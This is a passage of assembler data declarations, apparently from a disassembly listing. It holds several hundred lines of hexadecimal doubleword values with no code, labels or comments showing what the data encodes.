		dd 442D1654h, 1064B858h, 0AA355A13h, 0BD14C8B3h, 1A641E60h
		dd 0CC845B64h, 2F7C0E52h, 0B8647B54h, 13D0227Ch, 54786A22h
		dd 4AE8B903h, 24FF8812h, 8BBC7C82h, 0E0D245C7h,	0B73211AAh
		dd 6AE1BF0Ah, 0E49EFDBh, 0E94324F9h, 0B13D5A1Ch, 24290105h
		dd 9156029Fh, 5313E828h, 3DF531A9h, 0DD821910h,	489214EBh
		dd 2D64B490h, 22BEDA5Ah, 0D84D016h, 0B7E45B20h,	77459A8Fh
		dd 4673B84Bh, 0A19C7D26h, 348D9803h, 941205B6h,	1F02E6C1h
		dd 38A042BFh, 0A9A9789Eh, 434067Dh, 20DC5B28h, 5C68D4B4h
		dd 0EB0CFD9Ah, 1F026A13h, 4531C858h, 0C82AE639h, 76109F4Fh
		dd 0F086E749h, 0BFAFC513h, 99C64BFAh, 0F9F76700h, 55288942h
		dd 27DFE2D0h, 1BCC58BEh, 275B6C86h, 0B9EBE87Ch,	9CE4333Ch
		dd 0FC25D8DAh, 0F20269C6h, 0EDC6FF20h, 0FE13E490h, 0C7D26850h
		dd 0D9706157h, 0E074266Bh, 448D530Ch, 50E82C07h, 67861068h
		dd 0F36A8774h, 60F3C703h, 0E293136Ch, 28E651D0h, 0D29F8BE2h
		dd 0A0C05A58h, 33C527C3h, 1606BAE8h, 9C4B7086h,	31CE23F4h
		dd 464D745Bh, 0C79979B9h, 26974632h, 0BEE22883h, 8534DEB1h
		dd 684A1B12h, 1C4D5080h, 38F015F3h, 6D2B6324h, 0DCC03713h
		dd 1A8B5E45h, 6028EBADh, 10113454h, 4D464A68h, 7C4A2E6Bh
		dd 0AF4B5A3Dh, 54DEBC4h, 0D934E98Ch, 0EA1C67BCh, 2D625D7h
		dd 0E4F5F06Bh, 68CF9115h, 0D3AD08ECh, 46E95904h, 2B0DEAF1h
		dd 426931h, 0A11AD2D8h,	12F714C0h, 35E5EC18h, 0F43C0D0Ch
		dd 0ABE43AD4h, 176D76DFh, 0D8AC0DD8h, 0EA417E3Eh, 0C6D652D5h
		dd 46892C33h, 185E065Ah, 21F30D8Bh, 7820F1FDh, 3BB12962h
		dd 0C07E682Fh, 3A82420h, 40AC4F05h, 0FB697510h,	90977015h
		dd 64C6F617h, 518B4C51h, 8BA17DB2h, 186A1122h, 44B8F296h
		dd 0D8D7F535h, 18CCA445h, 190522C6h, 6B95D88h, 0BB1494BAh
		dd 0BC527EF8h, 332A49F7h, 2DC406C2h, 1982CC0Fh,	87861FCEh
		dd 0D6C765C3h, 5D195328h, 0E415A722h, 0B4CEDDACh, 440B6ACDh
		dd 8DCB6E3Ch, 382CBF4Bh, 0E6273168h, 0F4452424h, 0B9FD3B66h
		dd 1071CE8Fh, 1D7FA9Ch,	5D395EBEh, 554BD5B4h, 0F224AF80h
		dd 0E168EC98h, 0F0231D75h, 11184B93h, 3D8B9CD1h, 0F5121E5h
		dd 14780185h, 75E7314Fh, 0CBF86BB4h, 0B88704E2h, 1238850Bh
		dd 0F8F3098Ah, 46706E84h, 0DD1703EBh, 683D8891h, 66D7A4BFh
		dd 35D22708h, 5D082E5h,	5BD73C86h, 51950F25h, 5A0C27Ch
		dd 330B0151h, 24EF79F6h, 65D69C08h, 0F1DC8B32h,	0AC852FCBh
		dd 4CB59772h, 0E0D613C4h, 1FCB10E9h, 0DE59CA56h, 5D9CAD03h
		dd 0E67C742Dh, 145340F8h, 0CFB7725Ch, 0C8BFCB74h, 348B56C9h
		dd 0BE231835h, 5732DEE2h, 4FBD641h, 8B352F3Fh, 0DF789003h
		dd 4202BECCh, 60102918h, 19088FEh, 0DA382D84h, 148A83C6h
		dd 87898DDEh, 6808DCD0h, 0ADD43410h, 0C2A8D273h, 396A17C5h
		dd 1C3B9164h, 0F264AE5Ah, 8DDBE521h, 0E883B16Ch, 0DD25F9FDh
		dd 22E40084h, 0B68D656Ah, 0C462F68h, 99BF2FF8h,	0B786E42Ch
		dd 25C0C481h, 0D11588A9h, 0E757D2DBh, 0E94394C5h, 0B872020Ah
		dd 7E424A55h, 0DDD59423h, 7CCB9D08h, 0E2D8F623h, 0E937CF45h
		dd 0D8C8E55Ch, 0DED3CB5h, 7C25C997h, 8BD94249h,	14F534h
		dd 64AFDA87h, 0D1344214h, 375C7DAh, 0D19EBC3h, 121368DEh
		dd 398CD578h, 0DE8B425Ch, 7A0A758Ah, 0D2BA9248h, 6B680B0Ah
		dd 0E739A821h, 7CC4AA2Bh, 0F9E4783Dh, 0BC05BD0Dh, 14249DA2h
		dd 87502DA4h, 86A0275Ah, 17F2D610h, 425DB122h, 73D718FCh
		dd 0BA73D80h, 2B75A244h, 0EBF0030Dh, 0A8DEF3D9h, 6E6C393Ah
		dd 3D335374h, 2B76C730h, 89CD50C6h, 410D8418h, 0DF09B86Bh
		dd 0C8D1019h, 0F73B7E82h, 3D93D97Ch, 24F98F26h,	20024C62h
		dd 3BD0A166h, 4FDEE7AAh, 0FE8F212Bh, 37F6B75Eh,	0ED5BFD52h
		dd 653425A2h, 4656A97Bh, 0F49852B8h, 0ED9C1495h, 8F5BD907h
		dd 536F094Bh, 0FBE9090Ah, 0C80C1B71h, 5A53826Ah, 0F817BBE8h
		dd 0DD4462AAh, 8D7017A9h, 44B4D45Bh, 0C809C1D8h, 2D3BC068h
		dd 0E3A1134Eh, 0C6F17CC9h, 9651B86Eh, 3D8CB01h,	0C8C0A74h
		dd 0A82008E0h, 0FA884CA5h, 0D9159FEh, 2D9056F1h, 197BE2ABh
		dd 2FD546FEh, 6488CD43h, 46ADC61h, 441C7D12h, 0BF818B4Dh
		dd 109E5165h, 23D083C8h, 1550BECFh, 101BEAB7h, 0BB1CCA0Bh
		dd 0C623B9E2h, 0E90E1BE7h, 229E1408h, 0DC4D8914h, 0B71B228Dh
		dd 942197B3h, 4203C56Ch, 186AE461h, 0EC381C24h,	790005E1h
		dd 8AF84D8Bh, 75E57645h, 0E46524D1h, 226CBA37h,	18C8E71Ch
		dd 2042BAE6h, 0D2EC45EDh, 0EE02EF11h, 0F188902Eh, 0A74F011h
		dd 0C723C18Bh, 84C24693h, 0CE799384h, 93E80ECAh, 5F3AC266h
		dd 0BC0913F8h, 2FEB203Fh, 106A7D8Bh, 0B7EE140h,	40C1574Fh
		dd 0C08FD98h, 37248012h, 94BFDE2h, 955CE035h, 1247642Dh
		dd 13A068D8h, 0BB71AE73h, 343FD564h, 0B51B4482h, 8BDFBCB8h
		dd 63B27C45h, 2442B63Bh, 694E6319h, 0D3C2496Dh,	3234AA99h
		dd 0B253C9D6h, 859A65D7h, 8A5309EBh, 0B3D55C2Ch, 0E4FD8C04h
		dd 4BD3FB89h, 4146F0A7h, 81EC22E3h, 4D8DE27Eh, 51D0056Ah
		dd 3D232650h, 454F7043h, 74C6EB94h, 5AF0FC43h, 7E686BB2h
		dd 0D64D14Bh, 2E48A929h, 0D87E3E62h, 78506BB2h,	8444698Eh
		dd 4BBE54EBh, 0C745971Ch, 0E4C82890h, 0BD20BEA6h, 0C1953377h
		dd 0C81C986Bh, 5A09D79Ch, 0EF6A5CD0h, 0ACB25BD1h, 56A25458h
		dd 0CA5932C6h, 1BA74A30h, 102D9E48h, 60458C66h,	0B5205F1h
		dd 1D8B205Ch, 76BA70FCh, 8527354Fh, 0C891171Ah,	3398A329h
		dd 0CE29F46Ch, 0B63AED68h, 0FED00B6Ch, 0ADFFD60Ch, 66E8976Eh
		dd 22D3FF14h, 0E721619Ch, 446AD386h, 0E8844026h, 370ABE4Ah
		dd 482535A1h, 0F7BC45C4h, 5B102346h, 0FF1FBFC0h, 319DC494h
		dd 44848A50h, 1B04C51h,	4D669B90h, 0DFF82DB5h, 348A0C28h
		dd 760D6757h, 889B0FF4h, 9FA8841Fh, 49B17B4h, 0A38C4EE9h
		dd 27D42610h, 751BDFADh, 21E82028h, 40E4B815h, 74A892B7h
		dd 19B450D2h, 6AF175C8h, 0D45B257Ch, 451FE312h,	291ABDF8h
		dd 0EC110AACh, 0D6281390h, 0AB57EA0Eh, 9D50F428h, 2E376C21h
		dd 0C808B48Fh, 6168E464h, 542DC75h, 0EAE904D8h,	4BA34752h
		dd 230A126Dh, 9DE80C0Ch, 16590A9Fh, 0EFE37CA3h,	48C0CEDCh
		dd 27B2EC06h, 8EFF5018h
		dd 0ECC4DB43h, 0CE6E0453h, 5C11FA29h, 0EB53240Bh, 5D32EEC7h
		dd 261E53F0h, 80CE1E71h, 4575FE3Bh, 0E4755D39h,	7F53202Dh
		dd 5D6AF092h, 0A58753D5h, 0A5BD2159h, 83CDBB2h,	2A42FD40h
		dd 54340C6Ah, 0CC852084h, 15B2594Bh, 8214A89Fh,	86B0DD86h
		dd 7A8A7CB8h, 49574D89h, 0BBC63B82h, 76C1DA92h,	0C1CD7BCFh
		dd 313D6670h, 74162740h, 0F3E02A47h, 5680A975h,	0F07F881Ah
		dd 908569AAh, 0CA56C805h, 2D026B3Eh, 3A459E63h,	8222EDA1h
		dd 841C9382h, 7B547529h, 27157421h, 0A87B9182h,	2F108F04h
		dd 0FCB8AE1h, 572C254Ch, 7AC2CD23h, 0F92622E1h,	0BE4F1022h
		dd 0ED534C53h, 879079A9h, 0A292324Dh, 74080B78h, 0E4E507E6h
		dd 12217502h, 86087E1Dh, 0ACF4DBB1h, 0D5929BCh,	0F3756A17h
		dd 61E7A7BAh, 569674A7h, 21B67BC6h, 0C2E4093Fh,	0DC21B9E4h
		dd 0F940093Bh, 4109D959h, 23B5ECD0h, 9008F940h,	6E21CDC6h
		dd 0DA47EADh, 0FD8B43C9h, 0CA926E05h, 937E5CE9h, 0EF65BE57h
		dd 75CA0072h, 0AF055BEh, 0B9018785h, 2E1B0DA9h,	4E20FBC3h
		dd 1057A2AFh, 908402A0h, 5F7B14F5h, 0C92E2FCh, 0D406E487h
		dd 0B5E5DC81h, 0F9E4D5DAh, 93EAC45Ch, 0B713D08h, 5D595356h
		dd 5AF43543h, 6A3FC021h, 0BF4A5104h, 10A6D7F5h,	2A092598h
		dd 0D491EC74h, 0C7FB4E7Fh, 0F94EE73h, 4BD1DC27h, 0F86FA7A2h
		dd 0F6A85667h, 0B8658383h, 0B453A485h, 0EADFFCD2h, 53FC5164h
		dd 60779A0h, 60E9C38Bh,	0A6EB705h, 89EB1829h, 0B091A49Dh
		dd 0C2450EFh, 3BD845BDh, 416AD6C0h, 9AA8A68Dh, 0FBC4217Bh
		dd 0D082C820h, 2560A06h, 0B4F2504Ah, 4C0B8D5Fh,	9FCF0E3Bh
		dd 63161333h, 7C18C9BDh, 646A54C5h, 0D19FDA92h,	0CACF8E42h
		dd 0F50F281Ch, 14C019FAh, 4B0E10EFh, 0E80B9590h, 3DFA7C76h
		dd 4BA84C4h, 0BDA3B0Ah,	0DF427A75h, 105B13D0h, 45C4AC8Ch
		dd 89F8CEFDh, 6B04152Bh, 29A2911Eh, 829C39C9h, 958D1676h
		dd 2F0AF93h, 41070C74h,	3B04C283h, 720A16FAh, 754008F0h
		dd 84BD8316h, 0D734002h, 8F8D8489h, 10858A28h, 25BD3B14h
		dd 0ADEA437Eh, 68151FC0h, 13E4FA4h, 0E9D3FFC1h,	56AD953Bh
		dd 52AD90B4h, 7218102Ch, 8B527F81h, 0E2334695h,	76D63B0Dh
		dd 6D10403Ah, 810A7438h, 72CA00C0h, 26EB18F4h, 1B730E4Ah
		dd 15F8D52h, 4104508Bh,	32491089h, 723743B1h, 8B99EAECh
		dd 0CF5B3857h, 7AA192E9h, 568DB63Bh, 74A47712h,	889C6829h
		dd 0E258E80Bh, 681810A5h, 7211A894h, 0A72E91D4h, 55ADFEF6h
		dd 2B7C8806h, 5782E938h, 91742125h, 26FA4E4Dh, 141148CEh
		dd 0EB145C68h, 54C82161h, 0D3C2C64h, 11446821h,	643CC840h
		dd 21103C0Bh, 1F112868h, 0EA6224C8h, 0E39D3h, 8804681Eh
		dd 0F14DE957h, 0FCBF0FE2h, 0D28D753Dh, 0B1C4DA82h, 0E4582426h
		dd 3DF82868h, 91AD423Dh, 681304C4h, 0B2443DE4h,	6FBC2902h
		dd 19E0A2C2h, 0CC211B76h, 68B17B10h, 522452C4h,	0CD344C14h
		dd 2798BE1Ah, 0FED8AE48h, 959AA84h, 430D8F09h, 46C29DE8h
		dd 0F34C104Bh, 0A182D389h, 4B9435E9h, 7219043h,	0DEC12A45h
		dd 4B4878BEh, 28FF4238h, 0EEF74D66h, 51E8A421h,	0F014C4Dh
		dd 414CB2EBh, 0C6238670h, 120F1DD2h, 2CA232B6h,	482197Fh
		dd 0DDA1AC14h, 0E009E819h, 0F6D53C78h, 9239488Ah, 0DCBF162h
		dd 0C9676028h, 3DF4289Dh, 1D7CCD6Fh, 6A140F7Ch,	44931F32h
		dd 22C7813Fh, 5109234h,	11BBF4CCh, 5F1344E6h, 4346E3CAh
		dd 0CF8F1027h, 1F791C8Dh, 0C4157C7Ah, 2C333468h, 5DCA8A2Ch
		dd 14681D04h, 0B011E21h, 0F58A0C21h, 0E451D1D1h, 28485016h
		dd 593C2599h, 0F5D39BA0h, 20469362h, 3FDE2901h,	294DF521h
		dd 0F7208688h, 93CA1BCh, 9CC4C9C8h, 0BC20AE98h,	237514FBh
		dd 87961D56h, 1C19F9ACh, 1C2DDE38h, 25E83574h, 0FD13AB89h
		dd 0A76C4AC3h, 0A893A2A5h, 42681775h, 0B25E90ACh, 0E6A198Ch
		dd 13322BE2h, 56741022h, 55E7862h, 315917F4h, 20CA2EEBh
		dd 1629C668h, 0D05411F4h, 4CF63B42h, 681BE080h,	2C86A54Ch
		dd 0C5F478DBh, 0C8ADBABCh, 0BD3B4739h, 8E31C466h, 0C1E9E901h
		dd 0A6F8122Bh, 56F74EECh, 0B295A022h, 0EFD9552Ah, 6A9CF8AEh
		dd 0B157E52Fh, 2C88A3BBh, 11DC4A7Ch, 0B414AB0Ch, 0BEA5E7B8h
		dd 212AD4B5h, 4435FFFBh, 0B200AC28h, 1C11B116h,	0EC640C16h
		dd 50BA33B3h, 725B824Dh, 0DDE605C6h, 54FEFC2Fh,	6FF0ED8Dh
		dd 149158FDh, 0F0905271h, 2FC4581Ch, 608C3157h,	90C46D0h
		dd 573E7510h, 92B63379h, 0ABFA5851h, 0ADC08CC5h, 65109066h
		dd 8C2C578Ch, 504B8B24h, 3D00DA8Dh, 0B55FC974h,	80D4E278h
		dd 0E49D4242h, 16E89952h, 28F0B8C3h, 3EE84209h,	2748CECAh
		dd 4630ECB9h, 0CC9FFA14h, 0C1409541h, 35AACB0h,	0BDCEC32h
		dd 0E8166078h, 0EF9CC47Fh, 0A42384DCh, 8DEE4FDh, 0CA525AE0h
		dd 59C6F44Ah, 2D85FC87h, 0AF15FDACh, 0A2A4DC90h, 5153355Ch
		dd 9E7F2CE4h, 9115C8DFh, 4B464D3Eh, 0ACD06E28h,	8B254419h
		dd 0E8B8DED7h, 0C410FF96h, 0F87D0406h, 7C85416Ah, 0EDC10EBh
		dd 0BAC8502Dh, 98AF910h, 0BDD385DFh, 0AA400A0Bh, 42A30B99h
		dd 588ADE15h, 0FCD6408Ch, 5F9E28A6h, 257F5E27h,	2AE1090h
		dd 0C584D78Ah, 0DE10E367h, 0C04BCCD7h, 325545F4h, 3322884Ch
		dd 5D3F6C9h, 24958D12h,	809B087h, 72CB1886h, 197508F4h
		dd 4012FBF6h, 0FDC41473h, 0A38B1C0Ah, 0AA624365h, 0F92813Bh
		dd 7DA74A86h, 42E95C03h, 68BF1138h, 0D79087C7h,	2822572Dh
		dd 99F7C318h, 3768E75Ah, 99F309CFh, 0F942ABB7h,	3B75612h
		dd 0FD587F13h, 98889046h, 9F01F6A8h, 3909FCCEh,	0C40D7430h
		dd 0E98C8828h, 4317A1DFh, 73C8EE87h, 0E98F7A1Dh, 9D3E2D66h
		dd 8D1843C8h, 72CA3A53h, 9F4BEA2Bh, 61AFE90Dh, 0AE8D1A44h
		dd 5ED30638h, 0A2C2146Fh, 8320CA5h, 0BC5AC61Eh,	0EA99D2F9h
		dd 19302B81h, 0A005848Ah, 790A3C1Eh, 0B9355288h, 8C224458h
		dd 3862BE4Ch, 62CA5643h, 0CCC5B08Bh, 487429D6h,	7E243213h
		dd 5F84880h, 362D7659h,	3FAE7DB8h, 84C82C35h, 7C10394Eh
		dd 0CD4F681Ch, 17F4952Dh, 0EB7FA9CBh, 682F90E2h, 42299CE4h
		dd 7430CCC1h, 0E23D9134h, 0C11C1CCh, 11D5946Fh,	5081C2A5h
		dd 9806E846h, 592039F1h, 4182200Fh, 0C2BDF281h,	4449CB4Eh
		dd 0E1B8963Fh, 8E0A4254h, 48EBF13Eh, 0D24FEF3Fh, 0A9B2FCBDh
		dd 5F194A74h, 90FAA014h, 96BB94B3h, 0C6C1685Dh,	37E1D86h
		dd 4881593Eh, 73C19D65h, 8658339h, 0BBB7D56Fh, 6030A169h
		dd 32138AACh, 9AB81825h, 844D29D2h, 0CCAE19DEh,	74DEBF4h
		dd 46E7D800h, 0AFE4B73Bh, 0BF5291A2h, 51F1E932h, 627FC28Bh
		dd 0B183F1C4h, 1F71075h, 2923BC68h, 8CC3AE12h, 0B4219DBCh
		dd 8D822FFDh, 0B522F710h, 186490B0h, 1C588BFAh,	6FE88209h
		dd 10BC53A5h, 5C9AC410h, 9DC5590Bh, 8BFDAC08h, 0AC5CBEEDh
		dd 0C476E25Ah, 1654225Bh, 0ACC5E321h, 0FBB4785Ah, 2194E6BFh
		dd 384503ACh, 0B0118DA3h, 4FF649FAh, 2BB6A1FCh,	11F9AC21h
		dd 20333203h, 0F92FF39h, 6807DA80h, 2D9640F8h, 0DCDB051Dh
		dd 6448100Fh, 0C2DF85FFh, 98453907h, 44FBBE44h,	83466A0Ah
		dd 3D38C846h, 2F1CC957h, 7ED12904h, 281E19C5h, 8C700ABCh
		dd 48BD831Fh, 981F9927h, 890A139h, 4D1D75A1h, 0E987125Ch
		dd 3F4215D2h, 0ECD17735h, 21EB1411h, 1A3B41FAh,	3EF01023h
		dd 28655488h, 0B4C21425h
		dd 0F04AD59Eh, 53AA231Ah, 0F5C64B02h, 752BD18Ch, 1BA1FD16h
		dd 97FE806h, 57EBE25Fh,	5729FE1Dh, 45212917h, 4799ABDBh
		dd 8459470Dh, 6944FCD3h, 755749BDh, 0C42D0034h,	59D16608h
		dd 0F0C8C8FFh, 7DCE00AFh, 48BAE8FCh, 108999BEh,	3813E5DAh
		dd 745D742Fh, 534F4112h, 9C60E09h, 1CE6F75Ch, 2C5CC49Dh
		dd 0C83A88E8h, 10094B0Fh, 0CF264B0Ch, 9B2B84Ah,	0C777760Dh
		dd 738D1480h, 3134B72Bh, 0C9802639h, 50BC802Eh,	32251335h
		dd 0F5152475h, 1AA43227h, 309EF648h, 0C6461081h, 89481D84h
		dd 0C583F220h, 0C41AEB83h, 3C2E4435h, 8882AE2Fh, 0F03005Ch
		dd 8852C0BEh, 3C5A4222h, 504EE046h, 0C058E843h,	59F03BBFh
		dd 0C7AC9072h, 0FCEC50A8h, 845B51B5h, 49429A98h, 121AC2DEh
		dd 0E942DD14h, 0C93B1102h, 29353253h, 1704E6EBh, 6901016Ah
		dd 0D745E10h, 0B31B639h, 0FEE90806h, 31A62E76h,	1D339E20h
		dd 0D35CABEFh, 0A01B4B03h, 4E9E3987h, 2F3C9D09h, 0E8BDE67Fh
		dd 6A74337Dh, 59AA1422h, 41705F98h, 95A84344h, 6A12C888h
		dd 0F9C042DDh, 0F2AEE827h, 18A86729h, 8E3BAE56h, 0C023F7AFh
		dd 7DC03711h, 51BBD052h, 5BC67AE5h, 5BEB2D13h, 0F770F94Eh
		dd 6A9F4082h, 0A656E803h, 8021C96Bh, 59CB3C56h,	0CF30957Dh
		dd 509C71D1h, 0BD8E64BFh, 0D8917927h, 89721708h, 0D960AB85h
		dd 0EA8B16BDh, 7F77322h, 0B8D4EE56h, 5765B6CCh,	0E8BD13A4h
		dd 83B817AFh, 95D46022h, 0E4EFE254h, 9BE274B0h,	3CCDF832h
		dd 2D46D829h, 2CD1F530h, 0D48D8B61h, 0A2EBE82Ah, 301239C7h
		dd 0FC44E8CCh, 56A2F38h, 0D5A3BED3h, 6994F5A7h,	8810E5D2h
		dd 0A132C884h, 4C183111h, 5BD13358h, 0E94B62F3h, 88F6968Ah
		dd 0E2B7DB26h, 5304FA6Ch, 6FC5D06h, 2DE8F838h, 9AF412BCh
		dd 4885DDE5h, 8960BFC7h, 0FC237410h, 0AC2EE1BEh, 0E8649A44h
		dd 4AC06829h, 3899E245h, 142CC2BFh, 2F5D2F7Dh, 0F570185h
		dd 158BDB84h, 30C008E8h, 5C148859h, 8637FF38h, 845D8068h
		dd 8B69C839h, 0F66D4968h, 0B3B57630h, 0AECF3FC3h, 0C0C89C74h
		dd 54682957h, 0F271CE35h, 0E80A1FA6h, 0C600188Eh, 6A2A3804h
		dd 9668383Ch, 5E6F765h,	2C44B805h, 42860B4Bh, 765BC818h
		dd 348C6829h, 12BED7C2h, 314262DFh, 1C4E78D0h, 9BA1BB21h
		dd 543B0BC4h, 774F741Eh, 62EC42A4h, 2F85FB4h, 4269E4C1h
		dd 0B313DE0Eh, 0C74F103h, 8054C06Eh, 30B8083Ch,	750948F8h
		dd 335040F4h, 0A0456299h, 0EC6EBACBh, 29FA6C22h, 0C47C2468h
		dd 438F7C3Fh, 2720A6B4h, 0B166FC78h, 7F1879E1h,	0B4740EA2h
		dd 0FE445113h, 0D1137118h, 503C992h, 3990A4BBh,	911E9D51h
		dd 7064A022h, 206846A4h, 0C4B6CEE5h, 3A31A632h,	9F1BD284h
		dd 9042DB08h, 126AB2A9h, 8CF2E4EBh, 146B19ECh, 0C8A2EEC1h
		dd 6697101Ch, 0B91B97F8h, 3DC9A71Ch, 577C00Ch, 0BA618F6h
		dd 0C0B70F04h, 0B870376h, 28125196h, 0DA9BF24Dh, 5046C0Ch
		dd 4EA23EEh, 0F868B881h, 9316B843h, 53201AC8h, 1031D4F6h
		dd 5016FE6h, 64F8C682h,	963856A6h, 42F02450h, 0FB701043h
		dd 88065F7Bh, 0BD4917DFh, 0E58C9B28h, 1D5F1825h, 4FD4688Ch
		dd 27826E9h, 9FD69BBh, 212F1687h, 574443B4h, 9EBCDC04h
		dd 0B32C1063h, 357A04F9h, 68B74617h, 7DC889ACh,	0B1F06F9Eh
		dd 0C61BB2EEh, 903DD0E8h, 591E291Ch, 7768910h, 2C8F868Dh
		dd 92742B8Eh, 9A7C4A44h, 0EC4854A7h, 0D93F0426h, 8D0C8A05h
		dd 1CEEE944h, 0D62224F5h, 50BBF521h, 424CFC68h,	0BBD5F16Ah
		dd 5924EA66h, 21FC646Fh, 0AC2B5337h, 420893F0h,	8482A06Bh
		dd 5EC0D43Ch, 56577FA6h, 96E81596h, 0E91C083Fh,	906EA91Ah
		dd 476EF8EBh, 0B1BE84BBh, 9A98C22Eh, 0BB301042h, 0B180088Fh
		dd 0B16221F4h, 0B4F11F10h, 0EF9C0C42h, 0BADC110Fh, 54972CE2h
		dd 98858B84h, 0AE8C141h, 84782650h, 0F8214234h,	1ABD2BFEh
		dd 68F12294h, 851F2618h, 94DEBA77h, 3EB0C717h, 7E102D44h
		dd 0D86ED22Bh, 0C9266C96h, 443C9B5Bh, 8A0C1125h, 0A8353104h
		dd 529918A0h, 9169B6A6h, 0FC1CB2A5h, 4A19A811h,	0E8AE5042h
		dd 0F5473D96h, 5CF766FBh, 1589AF34h, 0A054EC4Ch, 4B8BDA1Bh
		dd 2BE7ED64h, 0FC0436F8h, 0BF327868h, 53239C1Ah, 0A3B4BE09h
		dd 3004CE86h, 57F63383h, 338C5BA7h, 8D9C0106h, 242B554Dh
		dd 2D27E194h, 8DF89397h, 568982C8h, 2580C653h, 0C6DAC63Bh
		dd 58896C5Eh, 914F347Bh, 8B5499Ch, 7D3B390Ch, 2FA1F5CEh
		dd 176A07B4h, 0EAD8F702h, 0E61C6892h, 0BFFC7C80h, 43579C31h
		dd 0B72BE814h, 752F1056h, 0F5BA41Eh, 8A33CBD8h,	292AA67Fh
		dd 4E94EE94h, 0B1ED3553h, 21D82A7Bh, 0E8B8830Ch, 0AAB4AF25h
		dd 3C801660h, 0B15C4B3Eh, 2FB0CB62h, 0E8164657h, 498CAF0Fh
		dd 534A9FEAh, 9A0EB31h,	0D260DC90h, 5E0ECBEFh, 0D86B3CEEh
		dd 50B65CBFh, 0CDBFB47Ch, 991C1148h, 523A1812h,	0A9190D24h
		dd 0ECA87B8Eh, 0E1545969h, 977074D0h, 0C713665Eh, 560761BAh
		dd 66DFC2BEh, 0F0F78949h, 24BA886Eh, 682006C2h,	8BB571E0h
		dd 377BB80Ah, 0E5C41B20h, 0AF94AE5Ah, 0ACA62A36h, 1E56570Eh
		dd 0A6BA6C2Dh, 6955102Ah, 5E781C5Ah, 0D202D497h, 0FC0F3D2Ch
		dd 5BAEE888h, 3E1AA5B6h, 52190DB4h, 0AC4B1457h,	987DE139h
		dd 0EC96F27Ch, 2B38A2BCh, 10246872h, 0D8A0585Fh, 7EC6E469h
		dd 0D2E81C23h, 0E40728B3h, 93716A80h, 0ED32506h, 0E844E699h
		dd 4814CE2Bh, 0C6172523h, 98574E24h, 108C9800h,	0F35350E4h
		dd 0FF1684F3h, 0FDE3DF12h, 0CFF9E18Bh, 77BFF40Bh, 1DC4529Bh
		dd 0DE64D41Ah, 91FC71D6h, 54AB946h, 0FF50D681h,	83F892Dh
		dd 5C88FDC8h, 0D4C44446h, 1811267Bh, 7E4EDE2Eh,	0D1200FE8h
		dd 0B7A9C697h, 4D9FD0B9h, 8A4E8817h, 0C6A0D7Ch,	1910FFD8h
		dd 0F177B28Fh, 490EA15h, 0E3FFAD7Fh, 25612402h,	55B6A144h
		dd 0AE8280AAh, 3F865D6Eh, 0C1E1AC71h, 9855D59h,	0E4286F63h
		dd 4758A38h, 0E9460196h, 0DA95192Ch, 0CA274A1Bh, 21B643A0h
		dd 0F20E9018h, 22101928h, 32A29ACFh, 73AA8209h,	565902B0h
		dd 827A7A56h, 550350AEh, 4A430F6Eh, 20FEB011h, 0C75F0510h
		dd 0FF012080h, 0C7224D65h, 0B1E803ECh, 0F1BDFC8Dh, 0DE2EBC75h
		dd 0C6EE24FAh, 29BEF012h, 47347B62h, 8BAF30AEh,	46D6C04Dh
		dd 313005CDh, 12498204h, 0A3B37A81h, 4C6C4426h,	6595579Ch
		dd 2FF4ACD3h, 6A2585C6h, 48DB590Ah, 4ABC1113h, 0D8CE43F8h
		dd 0A4DDAC92h, 748434ECh, 0DAD093E8h, 89C02812h, 0C2924BAh
		dd 0DC43D084h, 0B062DC91h, 37C424FCh, 5783A519h, 0E0AE1224h
		dd 0AC6249BAh, 55C4455Dh, 2EF54EEh, 0E0723A20h,	2040D995h
		dd 3B6809A9h, 0D2294105h, 0C4573957h, 348EC61Ch, 0BDE3913h
		dd 1EFF639Dh, 8DED42B7h, 9A42EB88h, 2766514Dh, 574868FAh
		dd 960B489h, 49E1E8C0h,	0B9A492AEh, 1344110Bh, 0E2B5D817h
		dd 564A89AEh, 0FEBC4250h, 0D05DD913h, 0F0FA4821h, 5173A1DCh
		dd 0AD4502E5h, 37DCA124h, 6971B8F0h, 6BD04883h,	156C72A1h
		dd 88E87D88h, 3F85AFFFh, 7268AA5Fh, 640995EAh, 0A646165Dh
		dd 575C90ADh, 0B822150Fh, 0C80EEB33h, 0BC2C5E8Dh, 22C7B3ADh
		dd 0D09F10B8h, 74BEDDC7h, 9572AB0Eh, 259CDD56h,	8C5FF059h
		dd 0BDCCD6EAh, 89A47342h, 84BC2CECh, 588447F4h,	259A265Fh
		dd 0AAC089B8h, 0D1C65782h, 14D0A4C9h, 8DCC098Fh, 94DD7CB3h
		dd 8B9BA824h, 80EDF70Eh
		dd 776B0677h, 2268CC18h, 45410725h, 0D04D896Bh,	53C56853h
		dd 75E0B3C0h, 6399910Ah, 1082BBF1h, 0BC08BB51h,	0E3E841ECh
		dd 910929AEh, 0AD532810h, 98DE3659h, 0D02C7E80h, 9B92173Eh
		dd 0EBC3094Fh, 22DD1413h, 3121470Ch, 8288254Bh,	0B6D7CBB5h
		dd 82E6A578h, 0ACFBE8FCh, 5E7A6E5Eh, 112842F2h,	0CFB3F122h
		dd 65D8127Ch, 83513E6h,	0DFE9247Ch, 0F0F30689h,	0D889BBA4h
		dd 94A4F1EEh, 24A4BB28h, 0EF3FD411h, 2CBACF94h,	4BD01BE9h
		dd 32359A1Dh, 68C41495h, 78A657B9h, 5E52E8ECh, 0CA94F9Dh
		dd 3203D4E1h, 6478C880h, 1AB882Ch, 1E396197h, 3322AA14h
		dd 950A64DCh, 7ABC72F8h, 8DC4004Ah, 59D63332h, 0C9D93B9h
		dd 9D06F7E4h, 8CAE6E59h, 0C5FBEA2h, 1C5D62EBh, 0E1F5A69Ah
		dd 9C73364Ah, 8EABD784h, 246F5924h, 557290C4h, 1D104C26h
		dd 0E766E834h, 0D1F10AAh, 0BC4D5988h, 406A02EAh, 53491084h
		dd 8D517DFDh, 3EDFD92Ah, 44403BE2h, 6EB55088h, 60234A74h
		dd 48246839h, 7638BB92h, 60775449h, 794AA88Ah, 0E8F11169h
		dd 0CDA3450Fh, 0D7C232E8h, 597F03F2h, 1B4C53A2h, 1030567Bh
		dd 1F6ABC25h, 0EB53BA05h, 9EE0CA26h, 983DC2DAh,	750D48DEh
		dd 71657F49h, 28423D7Fh, 0F7E81C93h, 0E2DFF42Fh, 2EFE5728h
		dd 3948A93Ch, 0C4D0134Ah, 3F2187AAh, 8347D26Ch,	5848B5A1h
		dd 35662C1h, 9C23264Ch,	9508BC51h, 7F2920A6h, 5394E1AAh
		dd 8490A847h, 582A6E47h, 0B8104E27h, 5651B16Eh,	52CE957Eh
